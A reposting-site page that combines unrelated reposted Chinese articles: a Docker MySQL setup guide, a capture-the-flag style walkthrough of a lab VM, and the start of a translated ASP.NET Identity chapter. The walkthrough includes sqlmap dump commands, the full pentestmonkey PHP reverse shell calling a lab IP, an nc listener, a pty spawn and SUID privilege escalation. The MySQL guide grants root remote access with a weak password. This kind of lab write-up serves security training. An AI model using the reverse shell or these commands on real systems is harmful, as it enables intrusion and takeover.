2.用户切换与提权(su、sudo) 3.开关机安全控制(BIOS引导设置、禁止Ctrl+Alt+Del快捷键、GRUB菜单设置密码) 4.终端控制 5.弱口令检测——John the Ripper 6.端口扫描——namp 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_67474417/article/details/123982900。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-05-07 23:37:44
95
转载
转载文章
...目录(历史)(镜像元数据、传输大小等) 镜像更新:official-images repo 的 library/mysql 标签 官方图像 repo 的库/mysql 文件(历史) 此描述的来源:docs repo 的 mysql/ 目录(历史) 2.4. 如何使用镜像 2.4.1. 启动一个mysql服务器实例 启动 MySQL 实例很简单: $ docker run --name some-mysql -e MYSQL_ROOT_PASSWORD=my-secret-pw -d mysql:tag 其中 some-mysql 是您要分配给容器的名称, my-secret-pw 是要为 MySQL root 用户设置的密码,而 tag 是指定您想要的 MySQL 版本的标签。 有关相关标签,请参见上面的列表。 以下是示例(通常要设置时区),注意-v 这里是挂载磁盘,请提前创建目录/var/mysql/data,/var/lib/mysql是容器里的原持久化目录: docker run --name mysql202201 -e MYSQL_ROOT_PASSWORD=123456 -e TZ=Asia/Shanghai -v /var/mysql/data:/var/lib/mysql -d mysql:5.7 2.4.2. 从 MySQL 命令行客户端连接到 MySQL 以下命令启动另一个 mysql 容器实例并针对您的原始 mysql 容器运行 mysql 命令行客户端,允许您针对您的数据库实例执行 SQL 语句: $ docker run -it --network some-network --rm mysql mysql -hsome-mysql -uexample-user -p 其中 some-mysql 是原始 mysql 容器的名称(连接到 some-network Docker 网络)。 此镜像也可以用作非 Docker 或远程实例的客户端: $ docker run -it --rm mysql mysql -hsome.mysql.host -usome-mysql-user -p 有关 MySQL 命令行客户端的更多信息,请参阅 MySQL 文档。 2.4.3. 容器外访问和查看 MySQL 日志 docker exec 命令允许您在 Docker 容器内运行命令。 以下命令行将为您提供 mysql 容器内的 bash shell: $ docker exec -it some-mysql bash 第一次启动一个MySQL容器后,需要对账户进行授权,否则无法远程访问,请先使用上面的命令进入容器内,然后使用以下命令连接到mysql服务: mysql -uroot -p 输入密码回车,进入mysql命令界面mysql> 接着授权root远程访问权限: mysql> GRANT ALL PRIVILEGES ON . TO 'root'@'%' IDENTIFIED BY '123456'; 然后就可以远程用MySQL客户端连接到MySQL容器了。 日志可通过 Docker 的容器日志获得: $ docker logs some-mysql 2.4.4. 使用自定义 MySQL 配置文件 MySQL 的默认配置可以在 /etc/mysql/my.cnf 中找到,其中可能包含额外的目录,例如 /etc/mysql/conf.d 或 /etc/mysql/mysql.conf.d。 请检查 mysql 映像本身中的相关文件和目录以获取更多详细信息。 如果 /my/custom/config-file.cnf 是你的自定义配置文件的路径和名称,你可以这样启动你的 mysql 容器(注意这个命令只使用了自定义配置文件的目录路径): $ docker run --name some-mysql -v /my/custom:/etc/mysql/conf.d -e MYSQL_ROOT_PASSWORD=my-secret-pw -d mysql:tag 这将启动一个新容器 some-mysql,其中 MySQL 实例使用来自 /etc/mysql/my.cnf 和 /etc/mysql/conf.d/config-file.cnf 的组合启动设置,后者的设置优先 . 没有 cnf 文件的配置 许多配置选项可以作为标志传递给 mysqld。 这将使您可以灵活地自定义容器,而无需 cnf 文件。 例如,如果要将所有表的默认编码和排序规则更改为使用 UTF-8 (utf8mb4),只需运行以下命令: $ docker run --name some-mysql -e MYSQL_ROOT_PASSWORD=my-secret-pw -d mysql:tag --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci 如果您想查看可用选项的完整列表,只需运行: $ docker run -it --rm mysql:tag --verbose --help 2.4.5. 环境变量 启动 mysql 镜像时,可以通过在 docker run 命令行中传递一个或多个环境变量来调整 MySQL 实例的配置。 请注意,如果您使用已包含数据库的数据目录启动容器,则以下任何变量都不会产生任何影响:任何预先存在的数据库在容器启动时将始终保持不变。 另请参阅 https://dev.mysql.com/doc/refman/5.7/en/environment-variables.html 以获取 MySQL 的环境变量的文档(尤其是 MYSQL_HOST 等变量,已知与此镜像一起使用时会导致问题)。 MYSQL_ROOT_PASSWORD 此变量是必需的,并指定将为 MySQL root 超级用户帐户设置的密码。 在上面的示例中,它被设置为 my-secret-pw。 MYSQL_DATABASE 此变量是可选的,允许您指定要在映像启动时创建的数据库的名称。 如果提供了用户/密码(见下文),则该用户将被授予对此数据库的超级用户访问权限(对应于 GRANT ALL)。 MYSQL_USER、MYSQL_PASSWORD 这些变量是可选的,用于创建新用户和设置该用户的密码。 该用户将被授予对 MYSQL_DATABASE 变量指定的数据库的超级用户权限(见上文)。 要创建用户,这两个变量都是必需的。 请注意,不需要使用此机制来创建超级用户超级用户,默认情况下会使用 MYSQL_ROOT_PASSWORD 变量指定的密码创建该用户。 MYSQL_ALLOW_EMPTY_PASSWORD 这是一个可选变量。 设置为非空值,例如 yes,以允许使用 root 用户的空白密码启动容器。 注意:除非您真的知道自己在做什么,否则不建议将此变量设置为 yes,因为这将使您的 MySQL 实例完全不受保护,从而允许任何人获得完全的超级用户访问权限。 MYSQL_RANDOM_ROOT_PASSWORD 这是一个可选变量。 设置为非空值,如 yes,为 root 用户生成随机初始密码(使用 pwgen)。 生成的根密码将打印到标准输出(生成的根密码:…)。 MYSQL_ONETIME_PASSWORD 一旦初始化完成,将 root(不是 MYSQL_USER 中指定的用户!)用户设置为过期,强制在第一次登录时更改密码。 任何非空值都将激活此设置。 注意:此功能仅在 MySQL 5.6+ 上受支持。 在 MySQL 5.5 上使用此选项将在初始化期间引发适当的错误。 MYSQL_INITDB_SKIP_TZINFO 默认情况下,入口点脚本会自动加载 CONVERT_TZ() 函数所需的时区数据。 如果不需要,任何非空值都会禁用时区加载。 2.4.6. Docker Secrets 作为通过环境变量传递敏感信息的替代方法,_FILE 可以附加到先前列出的环境变量中,从而导致初始化脚本从容器中存在的文件中加载这些变量的值。 特别是,这可用于从存储在 /run/secrets/<secret_name> 文件中的 Docker 机密中加载密码。 例如: $ docker run --name some-mysql -e MYSQL_ROOT_PASSWORD_FILE=/run/secrets/mysql-root -d mysql:tag 目前,这仅支持 MYSQL_ROOT_PASSWORD、MYSQL_ROOT_HOST、MYSQL_DATABASE、MYSQL_USER和 MYSQL_PASSWORD。 2.4.7. 初始化一个新实例 首次启动容器时,将使用提供的配置变量创建并初始化具有指定名称的新数据库。 此外,它将执行 /docker-entrypoint-initdb.d 中的扩展名为 .sh、.sql 和 .sql.gz 的文件。 文件将按字母顺序执行。 您可以通过将 SQL 转储安装到该目录并提供带有贡献数据的自定义镜像来轻松填充您的 mysql 服务。 SQL 文件将默认导入到 MYSQL_DATABASE 变量指定的数据库中。 2.5. 注意事项 2.5.1. 在哪里存储数据 重要提示:有几种方法可以存储在 Docker 容器中运行的应用程序使用的数据。 我们鼓励 mysql 映像的用户熟悉可用的选项,包括: 让 Docker 通过使用自己的内部卷管理将数据库文件写入主机系统上的磁盘来管理数据库数据的存储。 这是默认设置,对用户来说简单且相当透明。 缺点是对于直接在主机系统(即外部容器)上运行的工具和应用程序,可能很难找到这些文件。 在主机系统(容器外部)上创建一个数据目录,并将其挂载到容器内部可见的目录。 这会将数据库文件放置在主机系统上的已知位置,并使主机系统上的工具和应用程序可以轻松访问这些文件。 缺点是用户需要确保目录存在,例如主机系统上的目录权限和其他安全机制设置正确。 Docker 文档是了解不同存储选项和变体的一个很好的起点,并且有多个博客和论坛帖子在该领域讨论和提供建议。 我们将在这里简单地展示上面后一个选项的基本过程: 在主机系统上的合适卷上创建数据目录,例如 /my/own/datadir。 像这样启动你的 mysql 容器: $ docker run --name some-mysql -v /my/own/datadir:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=my-secret-pw -d mysql:tag 命令的 -v /my/own/datadir:/var/lib/mysql 部分将底层主机系统中的 /my/own/datadir 目录挂载为容器内的 /var/lib/mysql ,默认情况下 MySQL 将 写入其数据文件。 2.5.2. 在 MySQL 初始化完成之前没有连接 如果容器启动时没有初始化数据库,则会创建一个默认数据库。 虽然这是预期的行为,但这意味着在初始化完成之前它不会接受传入的连接。 在使用同时启动多个容器的自动化工具(例如 docker-compose)时,这可能会导致问题。 如果您尝试连接到 MySQL 的应用程序没有处理 MySQL 停机时间或等待 MySQL 正常启动,那么在服务启动之前放置一个连接重试循环可能是必要的。 有关官方图像中此类实现的示例,请参阅 WordPress 或 Bonita。 2.5.3. 针对现有数据库的使用 如果您使用已经包含数据库的数据目录(特别是 mysql 子目录)启动 mysql 容器实例,则应该从运行命令行中省略 $MYSQL_ROOT_PASSWORD 变量; 在任何情况下都将被忽略,并且不会以任何方式更改预先存在的数据库。 2.5.4. 以任意用户身份运行 如果你知道你的目录的权限已经被适当地设置了(例如对一个现有的数据库运行,如上所述)或者你需要使用特定的 UID/GID 运行 mysqld,那么可以使用 --user 调用这个镜像设置为任何值(root/0 除外)以实现所需的访问/配置: $ mkdir data$ ls -lnd datadrwxr-xr-x 2 1000 1000 4096 Aug 27 15:54 data$ docker run -v "$PWD/data":/var/lib/mysql --user 1000:1000 --name some-mysql -e MYSQL_ROOT_PASSWORD=my-secret-pw -d mysql:tag 2.5.5. 创建数据库转储 大多数普通工具都可以工作,尽管在某些情况下它们的使用可能有点复杂,以确保它们可以访问 mysqld 服务器。 确保这一点的一种简单方法是使用 docker exec 并从同一容器运行该工具,类似于以下内容: $ docker exec some-mysql sh -c 'exec mysqldump --all-databases -uroot -p"$MYSQL_ROOT_PASSWORD"' > /some/path/on/your/host/all-databases.sql 2.5.6. 从转储文件恢复数据 用于恢复数据。 您可以使用带有 -i 标志的 docker exec 命令,类似于以下内容: $ docker exec -i some-mysql sh -c 'exec mysql -uroot -p"$MYSQL_ROOT_PASSWORD"' < /some/path/on/your/host/all-databases.sql 备注 docker安装完MySQL,后面就是MySQL容器在跑,基本上就是当MySQL服务去操作,以前MySQL怎么做现在还是一样怎么做,只是个别操作因为docker包了一层,麻烦一点。 有需要的话,我们也可以基于MySQL官方镜像去定制我们自己的镜像,就比如主从镜像之类的。 本篇文章为转载内容。原文链接:https://blog.csdn.net/muluo7fen/article/details/122731852。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-05-29 17:31:06
101
转载
转载文章
...用 burp 抓查询数据包 POST /welcome.php HTTP/1.1Host: 192.168.184.149Content-Length: 23Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://192.168.184.149Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://192.168.184.149/welcome.phpAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=jub1jihglt85brngo5imqsifb3Connection: closesearch=x 将数据包保存为文件 hackme1.txt 使用 sqlmap 跑一下测试漏洞并获取数据库名: 🚀 python sqlmap.py -r hackme1.txt --dbs --batch [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DjhXfuV9-1650016495544)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110171527015.png)] 数据库除了基础数据库有webapphacking 接下来咱们获取一下表名 🚀 python sqlmap.py -r hackme1.txt --batch -D webapphacking --tables [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1mzxiwhu-1650016495544)(C:\Users\zhang\AppData\Roaming\Typora\typora-user-images\image-20220110172336353.png)] 可以得到两个表books和users 咱们先获取一下users表的信息 🚀 python sqlmap.py -r hackme1.txt --batch -D webapphacking -T users --dump --batch 可以看到有一个superadmin,超级管理员,看起来像一个md5 扩展 在线解密md5网站 国内MD5解密: http://t007.cn/ https://cmd5.la/ https://cmd5.com/ https://pmd5.com/ http://ttmd5.com/ https://md5.navisec.it/ http://md5.tellyou.top/ https://www.somd5.com/ http://www.chamd5.org/ 国外MD5解密: https://www.md5tr.com/ http://md5.my-addr.com/ https://md5.gromweb.com/ https://www.md5decrypt.org/ https://md5decrypt.net/en/ https://md5hashing.net/hash/md5/ https://hashes.com/en/decrypt/hash https://www.whatsmyip.org/hash-lookup/ https://www.md5online.org/md5-decrypt.html https://md5-passwort.de/md5-passwort-suchen 解出来密码是:Uncrackable 登录上去,发现有上传功能 2.3.2 文件上传漏洞 getshell 将 kali 自带的 php-reverse-shell.php 复制一份到 查看文件内容,并修改IP地址 <?php// php-reverse-shell - A Reverse Shell implementation in PHP// Copyright (C) 2007 pentestmonkey@pentestmonkey.net//// This tool may be used for legal purposes only. Users take full responsibility// for any actions performed using this tool. The author accepts no liability// for damage caused by this tool. If these terms are not acceptable to you, then// do not use this tool.//// In all other respects the GPL version 2 applies://// This program is free software; you can redistribute it and/or modify// it under the terms of the GNU General Public License version 2 as// published by the Free Software Foundation.//// This program is distributed in the hope that it will be useful,// but WITHOUT ANY WARRANTY; without even the implied warranty of// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the// GNU General Public License for more details.//// You should have received a copy of the GNU General Public License along// with this program; if not, write to the Free Software Foundation, Inc.,// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.//// This tool may be used for legal purposes only. Users take full responsibility// for any actions performed using this tool. If these terms are not acceptable to// you, then do not use this tool.//// You are encouraged to send comments, improvements or suggestions to// me at pentestmonkey@pentestmonkey.net//// Description// -----------// This script will make an outbound TCP connection to a hardcoded IP and port.// The recipient will be given a shell running as the current user (apache normally).//// Limitations// -----------// proc_open and stream_set_blocking require PHP version 4.3+, or 5+// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.//// Usage// -----// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.set_time_limit (0);$VERSION = "1.0";$ip = '192.168.184.128'; // CHANGE THIS$port = 6666; // CHANGE THIS$chunk_size = 1400;$write_a = null;$error_a = null;$shell = 'uname -a; w; id; /bin/sh -i';$daemon = 0;$debug = 0;//// Daemonise ourself if possible to avoid zombies later//// pcntl_fork is hardly ever available, but will allow us to daemonise// our php process and avoid zombies. Worth a try...if (function_exists('pcntl_fork')) {// Fork and have the parent process exit$pid = pcntl_fork();if ($pid == -1) {printit("ERROR: Can't fork");exit(1);}if ($pid) {exit(0); // Parent exits}// Make the current process a session leader// Will only succeed if we forkedif (posix_setsid() == -1) {printit("Error: Can't setsid()");exit(1);}$daemon = 1;} else {printit("WARNING: Failed to daemonise. This is quite common and not fatal.");}// Change to a safe directorychdir("/");// Remove any umask we inheritedumask(0);//// Do the reverse shell...//// Open reverse connection$sock = fsockopen($ip, $port, $errno, $errstr, 30);if (!$sock) {printit("$errstr ($errno)");exit(1);}// Spawn shell process$descriptorspec = array(0 => array("pipe", "r"), // stdin is a pipe that the child will read from1 => array("pipe", "w"), // stdout is a pipe that the child will write to2 => array("pipe", "w") // stderr is a pipe that the child will write to);$process = proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);}// Set everything to non-blocking// Reason: Occsionally reads will block, even though stream_select tells us they won'tstream_set_blocking($pipes[0], 0);stream_set_blocking($pipes[1], 0);stream_set_blocking($pipes[2], 0);stream_set_blocking($sock, 0);printit("Successfully opened reverse shell to $ip:$port");while (1) {// Check for end of TCP connectionif (feof($sock)) {printit("ERROR: Shell connection terminated");break;}// Check for end of STDOUTif (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}// Wait until a command is end down $sock, or some// command output is available on STDOUT or STDERR$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);// If we can read from the TCP socket, send// data to process's STDINif (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input);}// If we can read from the process's STDOUT// send data down tcp connectionif (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}// If we can read from the process's STDERR// send data down tcp connectionif (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");$input = fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input);} }fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);// Like print, but does nothing if we've daemonised ourself// (I can't figure out how to redirect STDOUT like a proper daemon)function printit ($string) {if (!$daemon) {print "$string\n";} }?> [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RhgS5l2a-1650016495549)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110173559344.png)] 上传该文件 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CKEldpll-1650016495549)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110173801442.png)] 在 kali 监听:nc -lvp 6666 访问后门文件:http://192.168.184.149/php-reverse-shell.php 不成功 尝试加上传文件夹:http://192.168.184.149/uploads/php-reverse-shell.php 成功访问 使用 python 切换为 bash:python3 -c 'import pty; pty.spawn("/bin/bash")' 2.4权限提升 2.4.1 SUID 提权 sudo -l不顶用了,换个方法 查询 suid 权限程序: find / -perm -u=s -type f 2>/dev/null www-data@hackme:/$ find / -perm -u=s -type f 2>/dev/nullfind / -perm -u=s -type f 2>/dev/null/snap/core20/1270/usr/bin/chfn/snap/core20/1270/usr/bin/chsh/snap/core20/1270/usr/bin/gpasswd/snap/core20/1270/usr/bin/mount/snap/core20/1270/usr/bin/newgrp/snap/core20/1270/usr/bin/passwd/snap/core20/1270/usr/bin/su/snap/core20/1270/usr/bin/sudo/snap/core20/1270/usr/bin/umount/snap/core20/1270/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core20/1270/usr/lib/openssh/ssh-keysign/snap/core/6531/bin/mount/snap/core/6531/bin/ping/snap/core/6531/bin/ping6/snap/core/6531/bin/su/snap/core/6531/bin/umount/snap/core/6531/usr/bin/chfn/snap/core/6531/usr/bin/chsh/snap/core/6531/usr/bin/gpasswd/snap/core/6531/usr/bin/newgrp/snap/core/6531/usr/bin/passwd/snap/core/6531/usr/bin/sudo/snap/core/6531/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/6531/usr/lib/openssh/ssh-keysign/snap/core/6531/usr/lib/snapd/snap-confine/snap/core/6531/usr/sbin/pppd/snap/core/5662/bin/mount/snap/core/5662/bin/ping/snap/core/5662/bin/ping6/snap/core/5662/bin/su/snap/core/5662/bin/umount/snap/core/5662/usr/bin/chfn/snap/core/5662/usr/bin/chsh/snap/core/5662/usr/bin/gpasswd/snap/core/5662/usr/bin/newgrp/snap/core/5662/usr/bin/passwd/snap/core/5662/usr/bin/sudo/snap/core/5662/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/5662/usr/lib/openssh/ssh-keysign/snap/core/5662/usr/lib/snapd/snap-confine/snap/core/5662/usr/sbin/pppd/snap/core/11993/bin/mount/snap/core/11993/bin/ping/snap/core/11993/bin/ping6/snap/core/11993/bin/su/snap/core/11993/bin/umount/snap/core/11993/usr/bin/chfn/snap/core/11993/usr/bin/chsh/snap/core/11993/usr/bin/gpasswd/snap/core/11993/usr/bin/newgrp/snap/core/11993/usr/bin/passwd/snap/core/11993/usr/bin/sudo/snap/core/11993/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/11993/usr/lib/openssh/ssh-keysign/snap/core/11993/usr/lib/snapd/snap-confine/snap/core/11993/usr/sbin/pppd/usr/lib/eject/dmcrypt-get-device/usr/lib/openssh/ssh-keysign/usr/lib/snapd/snap-confine/usr/lib/policykit-1/polkit-agent-helper-1/usr/lib/dbus-1.0/dbus-daemon-launch-helper/usr/bin/pkexec/usr/bin/traceroute6.iputils/usr/bin/passwd/usr/bin/chsh/usr/bin/chfn/usr/bin/gpasswd/usr/bin/at/usr/bin/newgrp/usr/bin/sudo/home/legacy/touchmenot/bin/mount/bin/umount/bin/ping/bin/ntfs-3g/bin/su/bin/fusermount 发现一个可疑文件/home/legacy/touchmenot 在 https://gtfobins.github.io/网站上查询:touchmenot 没找到 尝试运行程序:发现直接提权成功 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qcpXI6zZ-1650016495551)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110174530827.png)] 找半天没找到flag的文件 what?就这? 总结 本节使用的工具和漏洞比较基础,涉及 SQL 注入漏洞和文件上传漏洞 sql 注入工具:sqlmap 抓包工具:burpsuite Webshell 后门:kali 内置后门 Suid 提权:touchmenot 提权 本篇文章为转载内容。原文链接:https://blog.csdn.net/Perpetual_Blue/article/details/124200651。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-01-02 12:50:54
497
转载
转载文章
...y实现应用程序的用户管理,以及实现应用程序的认证与授权等相关技术,译者希望本系列教程能成为掌握ASP.NET Identity技术的一份完整而有价值的资料。读者若是能够按照文章的描述,一边阅读、一边实践、一边理解,定能有意想不到的巨大收获!希望本系列博文能够得到广大园友的高度推荐。 15 Advanced ASP.NET Identity 15 ASP.NET Identity高级技术 In this chapter, I finish my description of ASP.NET Identity by showing you some of the advanced features it offers. I demonstrate how you can extend the database schema by defining custom properties on the user class and how to use database migrations to apply those properties without deleting the data in the ASP.NET Identity database. I also explain how ASP.NET Identity supports the concept of claims and demonstrates how they can be used to flexibly authorize access to action methods. I finish the chapter—and the book—by showing you how ASP.NET Identity makes it easy to authenticate users through third parties. I demonstrate authentication with Google accounts, but ASP.NET Identity has built-in support for Microsoft, Facebook, and Twitter accounts as well. Table 15-1 summarizes this chapter. 本章将完成对ASP.NET Identity的描述,向你展示它所提供的一些高级特性。我将演示,你可以扩展ASP.NET Identity的数据库架构,其办法是在用户类上定义一些自定义属性。也会演示如何使用数据库迁移,这样可以运用自定义属性,而不必删除ASP.NET Identity数据库中的数据。还会解释ASP.NET Identity如何支持声明(Claims)概念,并演示如何将它们灵活地用来对动作方法进行授权访问。最后向你展示ASP.NET Identity很容易通过第三方部件来认证用户,以此结束本章以及本书。将要演示的是使用Google账号认证,但ASP.NET Identity对于Microsoft、Facebook以及Twitter账号,都有内建的支持。表15-1是本章概要。 Table 15-1. Chapter Summary 表15-1. 本章概要 Problem 问题 Solution 解决方案 Listing 清单号 Store additional information about users. 存储用户的附加信息 Define custom user properties. 定义自定义用户属性 1–3, 8–11 Update the database schema without deleting user data. 更新数据库架构而不删除用户数据 Perform a database migration. 执行数据库迁移 4–7 Perform fine-grained authorization. 执行细粒度授权 Use claims. 使用声明(Claims) 12–14 Add claims about a user. 添加用户的声明(Claims) Use the ClaimsIdentity.AddClaims method. 使用ClaimsIdentity.AddClaims方法 15–19 Authorize access based on claim values. 基于声明(Claims)值授权访问 Create a custom authorization filter attribute. 创建一个自定义的授权过滤器注解属性 20–21 Authenticate through a third party. 通过第三方认证 Install the NuGet package for the authentication provider, redirect requests to that provider, and specify a callback URL that creates the user account. 安装认证提供器的NuGet包,将请求重定向到该提供器,并指定一个创建用户账号的回调URL。 22–25 15.1 Preparing the Example Project 15.1 准备示例项目 In this chapter, I am going to continue working on the Users project I created in Chapter 13 and enhanced in Chapter 14. No changes to the application are required, but start the application and make sure that there are users in the database. Figure 15-1 shows the state of my database, which contains the users Admin, Alice, Bob, and Joe from the previous chapter. To check the users, start the application and request the /Admin/Index URL and authenticate as the Admin user. 本章打算继续使用第13章创建并在第14章增强的Users项目。对应用程序无需做什么改变,但需要启动应用程序,并确保数据库中有一些用户。图15-1显示了数据库的状态,它含有上一章的用户Admin、Alice、Bob以及Joe。为了检查用户,请启动应用程序,请求/Admin/Index URL,并以Admin用户进行认证。 Figure 15-1. The initial users in the Identity database 图15-1. Identity数据库中的最初用户 I also need some roles for this chapter. I used the RoleAdmin controller to create roles called Users and Employees and assigned the users to those roles, as described in Table 15-2. 本章还需要一些角色。我用RoleAdmin控制器创建了角色Users和Employees,并为这些角色指定了一些用户,如表15-2所示。 Table 15-2. The Types of Web Forms Code Nuggets 表15-2. 角色及成员(作者将此表的标题写错了——译者注) Role 角色 Members 成员 Users Alice, Joe Employees Alice, Bob Figure 15-2 shows the required role configuration displayed by the RoleAdmin controller. 图15-2显示了由RoleAdmin控制器所显示出来的必要的角色配置。 Figure 15-2. Configuring the roles required for this chapter 图15-2. 配置本章所需的角色 15.2 Adding Custom User Properties 15.2 添加自定义用户属性 When I created the AppUser class to represent users in Chapter 13, I noted that the base class defined a basic set of properties to describe the user, such as e-mail address and telephone number. Most applications need to store more information about users, including persistent application preferences and details such as addresses—in short, any data that is useful to running the application and that should last between sessions. In ASP.NET Membership, this was handled through the user profile system, but ASP.NET Identity takes a different approach. 我在第13章创建AppUser类来表示用户时曾做过说明,基类定义了一组描述用户的基本属性,如E-mail地址、电话号码等。大多数应用程序还需要存储用户的更多信息,包括持久化应用程序爱好以及地址等细节——简言之,需要存储对运行应用程序有用并且在各次会话之间应当保持的任何数据。在ASP.NET Membership中,这是通过用户资料(User Profile)系统来处理的,但ASP.NET Identity采取了一种不同的办法。 Because the ASP.NET Identity system uses Entity Framework to store its data by default, defining additional user information is just a matter of adding properties to the user class and letting the Code First feature create the database schema required to store them. Table 15-3 puts custom user properties in context. 因为ASP.NET Identity默认是使用Entity Framework来存储其数据的,定义附加的用户信息只不过是给用户类添加属性的事情,然后让Code First特性去创建需要存储它们的数据库架构即可。表15-3描述了自定义用户属性的情形。 Table 15-3. Putting Cusotm User Properties in Context 表15-3. 自定义用户属性的情形 Question 问题 Answer 回答 What is it? 什么是自定义用户属性? Custom user properties allow you to store additional information about your users, including their preferences and settings. 自定义用户属性让你能够存储附加的用户信息,包括他们的爱好和设置。 Why should I care? 为何要关心它? A persistent store of settings means that the user doesn’t have to provide the same information each time they log in to the application. 设置的持久化存储意味着,用户不必每次登录到应用程序时都提供同样的信息。 How is it used by the MVC framework? 在MVC框架中如何使用它? This feature isn’t used directly by the MVC framework, but it is available for use in action methods. 此特性不是由MVC框架直接使用的,但它在动作方法中使用是有效的。 15.2.1 Defining Custom Properties 15.2.1 定义自定义属性 Listing 15-1 shows how I added a simple property to the AppUser class to represent the city in which the user lives. 清单15-1演示了如何给AppUser类添加一个简单的属性,用以表示用户生活的城市。 Listing 15-1. Adding a Property in the AppUser.cs File 清单15-1. 在AppUser.cs文件中添加属性 using System;using Microsoft.AspNet.Identity.EntityFramework;namespace Users.Models { public enum Cities {LONDON, PARIS, CHICAGO}public class AppUser : IdentityUser {public Cities City { get; set; } }} I have defined an enumeration called Cities that defines values for some large cities and added a property called City to the AppUser class. To allow the user to view and edit their City property, I added actions to the Home controller, as shown in Listing 15-2. 这里定义了一个枚举,名称为Cities,它定义了一些大城市的值,另外给AppUser类添加了一个名称为City的属性。为了让用户能够查看和编辑City属性,给Home控制器添加了几个动作方法,如清单15-2所示。 Listing 15-2. Adding Support for Custom User Properties in the HomeController.cs File 清单15-2. 在HomeController.cs文件中添加对自定义属性的支持 using System.Web.Mvc;using System.Collections.Generic;using System.Web;using System.Security.Principal;using System.Threading.Tasks;using Users.Infrastructure;using Microsoft.AspNet.Identity;using Microsoft.AspNet.Identity.Owin;using Users.Models;namespace Users.Controllers {public class HomeController : Controller {[Authorize]public ActionResult Index() {return View(GetData("Index"));}[Authorize(Roles = "Users")]public ActionResult OtherAction() {return View("Index", GetData("OtherAction"));}private Dictionary<string, object> GetData(string actionName) {Dictionary<string, object> dict= new Dictionary<string, object>();dict.Add("Action", actionName);dict.Add("User", HttpContext.User.Identity.Name);dict.Add("Authenticated", HttpContext.User.Identity.IsAuthenticated);dict.Add("Auth Type", HttpContext.User.Identity.AuthenticationType);dict.Add("In Users Role", HttpContext.User.IsInRole("Users"));return dict;} [Authorize]public ActionResult UserProps() {return View(CurrentUser);}[Authorize][HttpPost]public async Task<ActionResult> UserProps(Cities city) {AppUser user = CurrentUser;user.City = city;await UserManager.UpdateAsync(user);return View(user);}private AppUser CurrentUser {get {return UserManager.FindByName(HttpContext.User.Identity.Name);} }private AppUserManager UserManager {get {return HttpContext.GetOwinContext().GetUserManager<AppUserManager>();} }} } I added a CurrentUser property that uses the AppUserManager class to retrieve an AppUser instance to represent the current user. I pass the AppUser object as the view model object in the GET version of the UserProps action method, and the POST method uses it to update the value of the new City property. Listing 15-3 shows the UserProps.cshtml view, which displays the City property value and contains a form to change it. 我添加了一个CurrentUser属性,它使用AppUserManager类接收了表示当前用户的AppUser实例。在GET版本的UserProps动作方法中,传递了这个AppUser对象作为视图模型。而在POST版的方法中用它更新了City属性的值。清单15-3显示了UserProps.cshtml视图,它显示了City属性的值,并包含一个修改它的表单。 Listing 15-3. The Contents of the UserProps.cshtml File in the Views/Home Folder 清单15-3. Views/Home文件夹中UserProps.cshtml文件的内容 @using Users.Models@model AppUser@{ ViewBag.Title = "UserProps";}<div class="panel panel-primary"><div class="panel-heading">Custom User Properties</div><table class="table 